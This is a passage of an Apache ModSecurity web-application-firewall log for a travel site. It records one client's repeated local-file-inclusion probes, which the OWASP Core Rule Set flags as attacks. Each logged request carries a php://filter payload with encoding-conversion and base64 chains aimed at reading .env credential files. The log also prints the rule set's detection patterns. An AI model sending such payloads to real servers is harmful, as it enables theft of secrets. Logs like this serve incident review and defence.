/?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=y05RcqUbkXrtablWxK6gLP83pLyVNFlySiLiix5KR9tguHIYL-3NhPt8D9Gjq8VcumnJ0ngm_ODEfG-7iAz_B-b5O00ogi3UBlaBe3cvOP3DU9YbtB6_kRakmriCnu-w6V4uFhSTj91UbZHhH1wdhwkN3XfWviPcnRlVpvIWeTYwKXuVk_-YfptpHSRIrOdOjgasG6rhipgs5jg0xgyqOMBYl4xyWvb5QD59MTNj8_jbNn08lhO3lxipLsAYEhK_kyCFIZVlAHtll2hbqtvaVV7r&ref=XHPQ7IZCTQNOTTT5VLZQPGJQFMKSF64Z2CBR5C7IDPKTZAZF2TG3Y..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.831599 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.831657 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&ref=y05RcqUbkXrtablWxK6gLP83pLyVNFlySiLiix5KR9tguHIYL-3NhPt8D9Gjq8VcumnJ0ngm_ODEfG-7iAz_B-b5O00ogi3UBlaBe3cvOP3DU9YbtB6_kRakmriCnu-w6V4uFhSTj91UbZHhH1wdhwkN3XfWviPcnRlVpvIWeTYwKXuVk_-YfptpHSRIrOdOjgasG6rhipgs5jg0xgyqOMBYl4xyWvb5QD59MTNj8_jbNn08lhO3lxipLsAYEhK_kyCFIZVlAHtll2hbqtvaVV7r&ref=XHPQ7IZCTQNOTTT5VLZQPGJQFMKSF64Z2CBR5C7IDPKTZAZF2TG3YNF3EA7EDGOIQ2LTIX4NRUU4TA4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.831684 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&ref=y05rcqubkxrtablwxk6glp83plyvnflysiliix5kr9tguhiyl-3nhpt8d9gjq8vcumnj0ngm_odefg-7iaz_b-b5o00ogi3ublabe3cvop3du9ybtb6_krakmricnu-w6v4ufhstj91ubzhhh1wdhwkn3xfwvipcnrlvpviwetywkxuvk_-yfptphsrirodojgasg6rhipgs5jg0xgyqombyl4xywvb5qd59mtnj8_jbnn08lho3lxiplsayehk_kycfizvlahtll2hbqtvavv7r&ref=xhpq7izctqnottt5vlzqpgjqfmksf64z2cbr5c7idpktzazf2tg3ynf3ea7edgoiq2ltix4nruu4ta4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.831708 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.831732 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.832067 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.833036 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.833182 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.833476 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l950gAAAAw"]
[Fri Jul 17 08:55:11.840324 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWAAAAAE"]
[Fri Jul 17 08:55:11.840669 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=rK6xddBSVHUlEJ-S3FTA4qX31JNxLERWNiDOOiO2Db2g2UZ1nXVpvPDPKDK8bdFs3TghbGWmkTzdIdhqRhBdc9RmfF0L8DzWJG6Q9wMDq6NTnec-mQYxO2CjiFATe8uARirXlKRKKeW0-DDrTfvlZ-FN6D0Es2eKULldDk3l60uOh_hSsb5ML8OTU6i7wD7G38jeHc-jFNTMSm7PBF8SrhzsqsoMQ963oEq9ZXc2qQuyIFwEGtnyYc56MYnC5sMcBKmNtb2fWDA3xA6BgOWMEgWL&token=LQABVBGR2C4WWGNGKD64N5GAV2OU23E25K472KOCGO2P..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.840726 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.840802 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=rK6xddBSVHUlEJ-S3FTA4qX31JNxLERWNiDOOiO2Db2g2UZ1nXVpvPDPKDK8bdFs3TghbGWmkTzdIdhqRhBdc9RmfF0L8DzWJG6Q9wMDq6NTnec-mQYxO2CjiFATe8uARirXlKRKKeW0-DDrTfvlZ-FN6D0Es2eKULldDk3l60uOh_hSsb5ML8OTU6i7wD7G38jeHc-jFNTMSm7PBF8SrhzsqsoMQ963oEq9ZXc2qQuyIFwEGtnyYc56MYnC5sMcBKmNtb2fWDA3xA6BgOWMEgWL&token=LQABVBGR2C4WWGNGKD64N5GAV2OU23E25K472KOCGO2PS63TZ2TNZBT6YZ2F4I5D2X4WAHCE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.840841 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=rk6xddbsvhulej-s3fta4qx31jnxlerwnidooio2db2g2uz1nxvpvpdpkdk8bdfs3tghbgwmktzdidhqrhbdc9rmff0l8dzwjg6q9wmdq6ntnec-mqyxo2cjifate8uarirxlkrkkew0-ddrtfvlz-fn6d0es2ekullddk3l60uoh_hssb5ml8otu6i7wd7g38jehc-jfntmsm7pbf8srhzsqsomq963oeq9zxc2qquyifwegtnyyc56mync5smcbkmntb2fwda3xa6bgowmegwl&token=lqabvbgr2c4wwgngkd64n5gav2ou23e25k472kocgo2ps63tz2tnzbt6yz2f4i5d2x4wahce..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.840885 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.840913 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.841400 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.841884 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWAAAAAE"]
[Fri Jul 17 08:55:11.842082 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.842275 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=yvvzMdT5XgBX0hvWnPxBGFEzMIQlbnhYHhzsvxJMJTgogUtxU0QplKn81leJR8b0ldhhYr3CrnecCLdSxsbhDLdPhgJFreM35v5aLu6JHCqcUW16gjV_iZGJyKpACsMb4LqV97yq1cIixt2sjM8A-URPEKzUGbsf9Z7PeDF9xatChQVbdP46JXn6xP3yOTgdveINhwta94Vr5KkOtW3AYK0Wo_KDQuCutlhNEoEUVGHladKpSllJF74qN7cMc-HRdahTSImVIrX35ycqLueQmwXl&token=ZAFN4CNEGKS6QNMKGZTHBLWHJMAEKYI7CTUZVIN6LLKR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842325 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842370 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&junk=yvvzMdT5XgBX0hvWnPxBGFEzMIQlbnhYHhzsvxJMJTgogUtxU0QplKn81leJR8b0ldhhYr3CrnecCLdSxsbhDLdPhgJFreM35v5aLu6JHCqcUW16gjV_iZGJyKpACsMb4LqV97yq1cIixt2sjM8A-URPEKzUGbsf9Z7PeDF9xatChQVbdP46JXn6xP3yOTgdveINhwta94Vr5KkOtW3AYK0Wo_KDQuCutlhNEoEUVGHladKpSllJF74qN7cMc-HRdahTSImVIrX35ycqLueQmwXl&token=ZAFN4CNEGKS6QNMKGZTHBLWHJMAEKYI7CTUZVIN6LLKRV5LSNSKXWHM4EOHQEPGJ5UMDSB6E..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842397 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&junk=yvvzmdt5xgbx0hvwnpxbgfezmiqlbnhyhhzsvxjmjtgogutxu0qplkn81lejr8b0ldhhyr3crneccldsxsbhdldphgjfrem35v5alu6jhcqcuw16gjv_izgjykpacsmb4lqv97yq1ciixt2sjm8a-urpekzugbsf9z7pedf9xatchqvbdp46jxn6xp3yotgdveinhwta94vr5kkotw3ayk0wo_kdqucutlhneoeuvghladkpslljf74qn7cmc-hrdahtsimvirx35ycqlueqmwxl&token=zafn4cnegks6qnmkgzthblwhjmaekyi7ctuzvin6llkrv5lsnskxwhm4eohqepgj5umdsb6e..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842422 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842441 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842448 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl-Ypb_TFRze2EO3zWAAAAAE"]
